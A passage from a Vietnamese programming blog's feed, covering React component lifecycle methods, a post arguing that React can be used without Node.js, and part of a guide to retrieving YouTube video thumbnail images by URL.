componentDidUpdate: count from 2 to 3 # componentDidUpdate() main.js:56 render: count = 4 # render() main.js:44 componentDidUpdate: count from 3 to 4 # componentDidUpdate() main.js:56 render: count = 5 # render() main.js:44 componentDidUpdate: count from 4 to 5 # componentDidUpdate()</code></pre></div> <p>Cuối cùng, pha Unmounting:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">main.js:51 componentWillUnmount # componentWillUnmount()</code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số kiến thức cơ bản mà mình đã tìm hiểu về React Component Lifecycle. Trước khi kết thúc bài viết, mình xin nhắc lại các React Lifecycle Methods quan trọng mà bạn cần quan tâm là:</p> <ul> <li>Mounting: <ul> <li>constructor()</li> <li>render()</li> <li>componentDidMount()</li> </ul> </li> <li>Updating: <ul> <li>shouldComponentUpdate()</li> <li>render()</li> <li>componentDidUpdate()</li> </ul> </li> <li>Mounting: <ul> <li>componentWillUnmount()</li> </ul> </li> </ul> <p>Nếu có phần nào khó hiểu, bạn có thể để lại bình luận xuống phía dưới nhé! Mình sẽ cố gắng giải đáp. Xin chào và hẹn gặp lại, thân ái!</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://reactjs.org/docs/react-component.html">React.Component</a></li> <li><a href="http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/">React Lifecycle Methods Diagram</a></li> <li><a href="https://www.kirupa.com/react/component_lifecycle.htm">The Component Lifecycle</a></li> </ul>[email protected]<![CDATA[Lầm tưởng tai hại về React]]><![CDATA[Xin chào bạn đến với bài viết Lầm tưởng tai hại về React. Nếu bạn theo dõi blog này từ lâu thì sẽ thấy rằng mình chủ yếu viết về JavaScript thuần. Ngoài ra, thư viện JavaScript…]]>https://completejavascript.com/lam-tuong-tai-hai-ve-react/https://completejavascript.com/lam-tuong-tai-hai-ve-react/Sat, 28 Jul 2018 02:49:59 GMT<p>Xin chào bạn đến với bài viết <strong>Lầm tưởng tai hại về React</strong>. Nếu bạn theo dõi blog này từ lâu thì sẽ thấy rằng mình chủ yếu viết về <a href="/javascript/">JavaScript thuần</a>. Ngoài ra, thư viện JavaScript mình dùng chủ yếu cũng chỉ là <a href="/tag/jquery/">jQuery</a>. Tuy nhiên, sau một thời gian suy nghĩ, mình quyết định sẽ học sâu một <a href="/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/">framework hoặc thư viện JavaScript</a> (về front-end) để khỏi bị lạc hậu so với thế giới.</p> <h2 id="đôi-điều-suy-nghĩ-trước-khi-vào-nội-dung-chính" style="position:relative;"><a href="#%C4%91%C3%B4i-%C4%91i%E1%BB%81u-suy-ngh%C4%A9-tr%C6%B0%E1%BB%9Bc-khi-v%C3%A0o-n%E1%BB%99i-dung-ch%C3%ADnh" aria-label="đôi điều suy nghĩ trước khi vào nội dung chính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đôi điều suy nghĩ trước khi vào nội dung chính</h2> <p>Tại thời điểm của bài viết, có 2 ông lớn là Angular và React. Về Angular thì mình cũng đã có cơ hội tìm hiểu trước đây rồi. Nên bây giờ mình dành thời gian nghiên cứu về React. Mình sẽ tìm hiểu về React một thời gian, sau đó so sánh nó với Angular, để xem ưu điểm của từng cái. Và quan trọng là cái nào phù hợp với mình hơn để gắn bó lâu dài.</p> <p>Nói về React, mình thấy trên mạng đã có rất nhiều hướng dẫn về nó rồi, nên mình sẽ không mất công làm lại những thứ đó nữa. Mình sẽ chỉ chia sẻ lại những kinh nghiệm mà mình chắt lọc được mà thôi.</p> <p>Một số tài liệu về React mà bạn có thể tham khảo:</p> <ul> <li>Tài liệu từ trang chủ của React - <a href="https://reactjs.org/docs/getting-started.html">Getting Started</a></li> <li>Tổng hợp những bài viết về React của Codeaholicguy <a href="https://codeaholicguy.com/category/chuyen-coding/javascript/reactjs/">Tổng hợp những bài viết về ReactJS</a></li> <li>...</li> </ul> <p>Bản thân mình thì thích mấy cái <strong>OFFICAL</strong> hơn nên sẽ ráng đọc tài liệu tiếng Anh trên trang chủ của React. Còn bạn thấy cái nào phù hợp thì cứ đọc theo, chỗ nào chưa hiểu có thể đặt câu hỏi cho mình. Mình không hứa sẽ trả lời ngay cho bạn, nhưng mình sẽ cố gắng cùng tìm hiểu với bạn để có thể giải quyết được vấn đề.</p> <p>Quay lại nội dung chính của bài viết, mình sẽ nói về một lầm tưởng tai hại về React mà mình đã mắc phải trước khi bắt đầu tìm hiểu về thư viện JavaScript này. Và mình tin rằng có nhiều bạn cũng có suy nghĩ giống mình. Đó là: "Trước khi học React là phải biết về Nodejs và muốn deploy ứng dụng sử dụng React thì phải kiếm server hỗ trợ Nodejs".</p> <h2 id="nguyên-nhân-dẫn-đến-lầm-tưởng-tai-hại-về-react" style="position:relative;"><a href="#nguy%C3%AAn-nh%C3%A2n-d%E1%BA%ABn-%C4%91%E1%BA%BFn-l%E1%BA%A7m-t%C6%B0%E1%BB%9Fng-tai-h%E1%BA%A1i-v%E1%BB%81-react" aria-label="nguyên nhân dẫn đến lầm tưởng tai hại về react permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nguyên nhân dẫn đến lầm tưởng tai hại về React</h2> <p>Chả là từ trước đến giờ mình vẫn hay lên <a href="https://www.tutorialspoint.com">Tutorialspoint</a> để học về các ngôn ngữ lập trình, công nghệ mới. Và React cũng không ngoại lệ.</p> <p>Bài viết về <a href="https://www.tutorialspoint.com/reactjs/index.htm">ReactJS - Home</a>, <a href="https://www.tutorialspoint.com/reactjs/reactjs_overview.htm">ReactJS - Overview</a> thì không nói làm gì. Đến <a href="https://www.tutorialspoint.com/reactjs/reactjs_environment_setup.htm">ReactJS - Environment Setup</a> thì mình phải cài NodeJS, sau đó là một loạt những thứ sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> -g babel $ <span class="token function">npm</span> <span class="token function">install</span> -g babel-cli $ <span class="token function">npm</span> <span class="token function">install</span> webpack --save $ <span class="token function">npm</span> <span class="token function">install</span> webpack-dev-server --save $ <span class="token function">npm</span> <span class="token function">install</span> react --save $ <span class="token function">npm</span> <span class="token function">install</span> react-dom --save $ <span class="token function">npm</span> <span class="token function">install</span> babel-core $ <span class="token function">npm</span> <span class="token function">install</span> babel-loader $ <span class="token function">npm</span> <span class="token function">install</span> babel-preset-react $ <span class="token function">npm</span> <span class="token function">install</span> babel-preset-es2015</code></pre></div> <p>Mình suy nghĩ trong đầu: <em>Mình chỉ cần React thôi mà, sao phải cài một đống thứ như thế này? Vai trò của từng cái là gì?</em></p> <p>Không hề có một lời giải thích nào. Và đó là lí do chính dẫn đến lầm tưởng tai hại về React. Vì vậy, mình đã từ bỏ để quay về trang chủ của React và học theo nó.</p> <h2 id="giác-ngộ-lần-1" style="position:relative;"><a href="#gi%C3%A1c-ng%E1%BB%99-l%E1%BA%A7n-1" aria-label="giác ngộ lần 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giác ngộ lần 1</h2> <p>Sau khi đọc qua một vài bài viết trên trang chủ React, mình phát hiện ra rằng: mình đâu cần thiết phải cài đặt NodeJS, đâu cần những thứ loằng ngoằng kia mà vẫn có thể code được React mà.</p> <p>Đây là <a href="https://reactjs.org/docs/add-react-to-a-website.html#add-react-in-one-minute">ví dụ cơ bản nhất</a> trên trang chủ, mình clone lại và đưa lên CodePen.io:</p> <p><a href="https://codepen.io/completejavascript/pen/pZWNqK"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/pZWNqK/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Bạn thấy đấy, mình chỉ cần thêm 2 file .js là có thể lập trình được React rồi. Đó là:</p> <ul> <li><a href="https://unpkg.com/react@16/umd/react.development.js">react.development.js</a></li> <li><a href="https://unpkg.com/react-dom@16/umd/react-dom.development.js">react-dom.development.js</a></li> </ul> <p>Đối chiếu lại với phần cài đặt phía trên thì chúng tương đương với:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> react --save $ <span class="token function">npm</span> <span class="token function">install</span> react-dom --save</code></pre></div> <p>Vậy mấy cái <em>webpack</em> với <em>babel</em> để làm gì?</p> <h2 id="giác-ngộ-lần-2" style="position:relative;"><a href="#gi%C3%A1c-ng%E1%BB%99-l%E1%BA%A7n-2" aria-label="giác ngộ lần 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giác ngộ lần 2</h2> <p>Ví dụ cơ bản tiếp theo <a href="https://reactjs.org/docs/add-react-to-a-website.html#optional-try-react-with-jsx">Optional: Try React with JSX</a>.</p> <a href="https://codepen.io/completejavascript/pen/MBEJwL" class="btn btn-primary margin-bottom"> Xem Demo trên Codepen </a> <p>À thì ra, React hỗ trợ sử dụng cú pháp <strong>JSX</strong> - JavaScript XML. JSX không phải string, cũng không phải HTML mà là XML-like. Nghĩa là nó gần giống với cú pháp của XML.</p> <p>Bạn có thể xem thêm về JSX tại các bài viết sau:</p> <ul> <li><a href="https://reactjs.org/docs/introducing-jsx.html">Introducing JSX</a></li> <li><a href="https://reactjs.org/docs/jsx-in-depth.html">JSX In Depth</a></li> </ul> <p>Nghĩa là React hỗ trợ JSX. Mà nếu muốn trình duyệt hiểu được thì mình phải convert cái JSX đấy sang HTML. Vậy mình cần phải có 1 thằng chịu trách nhiệm làm <strong>preprocessor</strong> để convert JSX sang HTML.</p> <p>Đó chính là <a href="https://unpkg.com/[email protected]/babel.min.js">babel</a>.</p> <p>Đối chiếu lại với phần cài đặt phía trên xem nó tương đương với thằng nào:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> -g babel $ <span class="token function">npm</span> <span class="token function">install</span> -g babel-cli $ <span class="token function">npm</span> <span class="token function">install</span> babel-core $ <span class="token function">npm</span> <span class="token function">install</span> babel-loader $ <span class="token function">npm</span> <span class="token function">install</span> babel-preset-react $ <span class="token function">npm</span> <span class="token function">install</span> babel-preset-es2015</code></pre></div> <p>Mình đoán nó tương đương với <code>npm install -g babel</code>. Còn những thằng còn lại có nhiệm vụ như thế nào thì mình vẫn chưa rõ.</p> <p>Bạn có thể giải thích cho mình không?</p> <p>Nhưng dù sao thì mình cũng có thể hiểu rằng: <em>babel</em> giữ vai trò là JSX preprocessor. Còn <em>webpack</em>, có lẽ nó là thằng quản lý các <em>node_modules</em> trong NodeJS. Mình sẽ tìm hiểu và chia sẻ với các bạn trong các bài viết tiếp theo.</p> <h2 id="ứng-dụng-react-đầu-tiên-của-mình" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-react-%C4%91%E1%BA%A7u-ti%C3%AAn-c%E1%BB%A7a-m%C3%ACnh" aria-label="ứng dụng react đầu tiên của mình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng React đầu tiên của mình</h2> <p>Mời các bạn xem qua ứng dụng React đầu tiên của mình: Todo List.</p> <a href="https://codepen.io/completejavascript/pen/XBeMBe" class="btn btn-primary margin-bottom"> Xem Demo trên Codepen </a> <p>Ứng dụng khá đơn giản và chưa hoàn thiện. Nhưng không sao:</p> <blockquote> <p>A journey of a thousand miles begins with a single step.</p> </blockquote> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình đã giác ngộ được cái lầm tưởng tại hại về React là: "trước khi học React phải biết về Nodejs và muốn deploy ứng dụng sử dụng React thì phải kiếm server hỗ trợ Nodejs".</p> <p>Thực tế, mình chỉ cần 3 file .js là đã có thể lập trình React với JSX được rồi.</p> <ul> <li><a href="https://unpkg.com/react@16/umd/react.development.js">react.development.js</a></li> <li><a href="https://unpkg.com/react-dom@16/umd/react-dom.development.js">react-dom.development.js</a></li> <li><a href="https://unpkg.com/[email protected]/babel.min.js">babel</a></li> </ul> <p>Và mình có thể deploy nó trên Codepen.io, Github Pages,... mà không cần phải sử dụng đến server hỗ trợ NodeJS.</p> <p>Nếu bạn có phần nào chưa rõ hoặc có gì muốn góp ý với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Hướng dẫn lấy ảnh thumbnail của video trên youtube]]><![CDATA[Xin chào bạn, gần đây mình có thử làm chơi một video tên là K Tigers - Taekwondo Save Me. Và có một bạn đã hỏi mình làm sao để kiếm được ảnh chị tóc vàng xinh thế (ảnh thumbnail…]]>https://completejavascript.com/lay-anh-thumbnail-cua-video-tren-youtube/https://completejavascript.com/lay-anh-thumbnail-cua-video-tren-youtube/<![CDATA[Youtube]]>Thu, 21 Jun 2018 12:36:26 GMT<p>Xin chào bạn, gần đây mình có thử làm chơi một video tên là <a href="https://www.youtube.com/watch?v=tp6t8eKo7e4">K Tigers - Taekwondo Save Me</a>. Và có một bạn đã hỏi mình làm sao để kiếm được ảnh chị tóc vàng xinh thế (ảnh thumbnail video). Thực ra, mình đã sử dụng ảnh thumbnail của video gốc. Nói đến đây có thể nhiều bạn đã hiểu ra vấn đề rồi. Đó là mình đã lấy ảnh thumbnail của video trên youtube.</p> <h2 id="vấn-đề-là-làm-sao-mình-có-thể-lấy-ảnh-thumbnail-của-video-trên-youtube" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-l%C3%A0-l%C3%A0m-sao-m%C3%ACnh-c%C3%B3-th%E1%BB%83-l%E1%BA%A5y-%E1%BA%A3nh-thumbnail-c%E1%BB%A7a-video-tr%C3%AAn-youtube" aria-label="vấn đề là làm sao mình có thể lấy ảnh thumbnail của video trên youtube permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề là làm sao mình có thể lấy ảnh thumbnail của video trên Youtube?</h2> <p>Hôm nay, mình sẽ chia sẻ với bạn một số cách để lấy được ảnh thumbnail đó.</p> <h3 id="cách-1-dùng-tool-youtube-thumbnail-grabber" style="position:relative;"><a href="#c%C3%A1ch-1-d%C3%B9ng-tool-youtube-thumbnail-grabber" aria-label="cách 1 dùng tool youtube thumbnail grabber permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 1: Dùng tool Youtube Thumbnail Grabber</h3> <p>Để lấy được ảnh thumbnail của video youtube một cách nhanh chóng, bạn có thể sử dụng tool mà mình đã viết sau đây:</p> <p><a href="https://toolskitplus.com/youtube-thumbnail-grabber/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Youtube Thumbnail Grabber </a></p> <p>Với tool trên, bạn chỉ cần dán link Youtube cần lấy ảnh thumbnail thì tool sẽ tự động hiển thị danh sách các loại ảnh thumbnail tương ứng.</p> <h3 id="cách-2-thủ-công" style="position:relative;"><a href="#c%C3%A1ch-2-th%E1%BB%A7-c%C3%B4ng" aria-label="cách 2 thủ công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 2: Thủ công</h3> <p>Đầu tiên, bạn phải có được ID của video trên youtube.</p> <p>Thật đơn giản, khi bạn nhấn vào một video thì video đó sẽ có link dạng như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://www.youtube.com/watch?v=id_video</code></pre></div> <p>Phần <strong>id_video</strong> bên trên chính là ID của video trên youtube. Bạn copy lại ID đó và tiếp tục với các cách mà mình sẽ trình bày ngay sau đây.</p> <h4 id="lấy-ảnh-thumbnail-độ-phân-giải-lớn-nhất" style="position:relative;"><a href="#l%E1%BA%A5y-%E1%BA%A3nh-thumbnail-%C4%91%E1%BB%99-ph%C3%A2n-gi%E1%BA%A3i-l%E1%BB%9Bn-nh%E1%BA%A5t" aria-label="lấy ảnh thumbnail độ phân giải lớn nhất permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy ảnh thumbnail độ phân giải lớn nhất</h4> <p>Với cách này bạn sẽ thu được ảnh thumbnail với độ phân giải lớn nhất. Bạn chỉ cần copy link sau lên trình duyệt:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/maxresdefault.jpg</code></pre></div> <p>Trong đó: <code>id_video</code> là id của video mà bạn đã copy ở bước trên.</p> <p>Ví dụ với link sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/dSs3ya1ppp4/maxresdefault.jpg</code></pre></div> <p>Bạn sẽ thu được ảnh là:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.36363636363636%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMCBf/EABYBAQEBAAAAAAAAAAAAAAAAAAIAAf/aAAwDAQACEAMQAAAB4assqNCv/8QAGRABAAMBAQAAAAAAAAAAAAAAAQIhMREy/9oACAEBAAEFAi10DjTL1HP/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPwFH/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BV//EABYQAQEBAAAAAAAAAAAAAAAAABACcf/aAAgBAQAGPwJjH//EABgQAQEBAQEAAAAAAAAAAAAAAAEAETFB/9oACAEBAAE/IQAQDBO8QMRmzpAzf//aAAwDAQACAAMAAAAQgC//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAEDAQE/EMgpP//EABURAQEAAAAAAAAAAAAAAAAAAAAB/9oACAECAQE/EFP/xAAaEAEBAQEAAwAAAAAAAAAAAAABABEhMVGR/9oACAEBAAE/EEgoLj7kSchTi+zAWBcPLcUpEv/Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="huong dan lay anh thumbnial youtube" title="huong dan lay anh thumbnial youtube" src="/static/03cbda94b003a05243f74b97fb18fac4/5ab81/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg" srcset="/static/03cbda94b003a05243f74b97fb18fac4/e4e7a/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg 165w, /static/03cbda94b003a05243f74b97fb18fac4/4f5c6/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg 330w, /static/03cbda94b003a05243f74b97fb18fac4/5ab81/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg 660w, /static/03cbda94b003a05243f74b97fb18fac4/7ed05/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg 990w, /static/03cbda94b003a05243f74b97fb18fac4/0a251/huong-dan-lay-anh-thumbnail-video-youtube-phamvanlam-com-1.jpg 1000w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="lấy-các-ảnh-thumbnail-kích-thước-khác" style="position:relative;"><a href="#l%E1%BA%A5y-c%C3%A1c-%E1%BA%A3nh-thumbnail-k%C3%ADch-th%C6%B0%E1%BB%9Bc-kh%C3%A1c" aria-label="lấy các ảnh thumbnail kích thước khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy các ảnh thumbnail kích thước khác</h4> <p>Với cách này bạn sẽ thu được ảnh thumbnail của video trên youtube với các độ phân giải khác nhau.</p> <p><strong>Ảnh thumbnail kích thước Standard Definition 640x480:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/sddefault.jpg</code></pre></div> <p><strong>Ảnh thumbnail kích thước High Quality 480x360:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/hqdefault.jpg</code></pre></div> <p><strong>Ảnh thumbnail kích thước Medium Quality 480x360:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/mqdefault.jpg</code></pre></div> <p><strong>Ảnh List Thumbnail kích thước 480x360:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/0.jpg</code></pre></div> <p><strong>Một số ảnh Mini Thumbnail kích thước 120x90:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://img.youtube.com/vi/id_video/1.jpg https://img.youtube.com/vi/id_video/2.jpg https://img.youtube.com/vi/id_video/3.jpg</code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 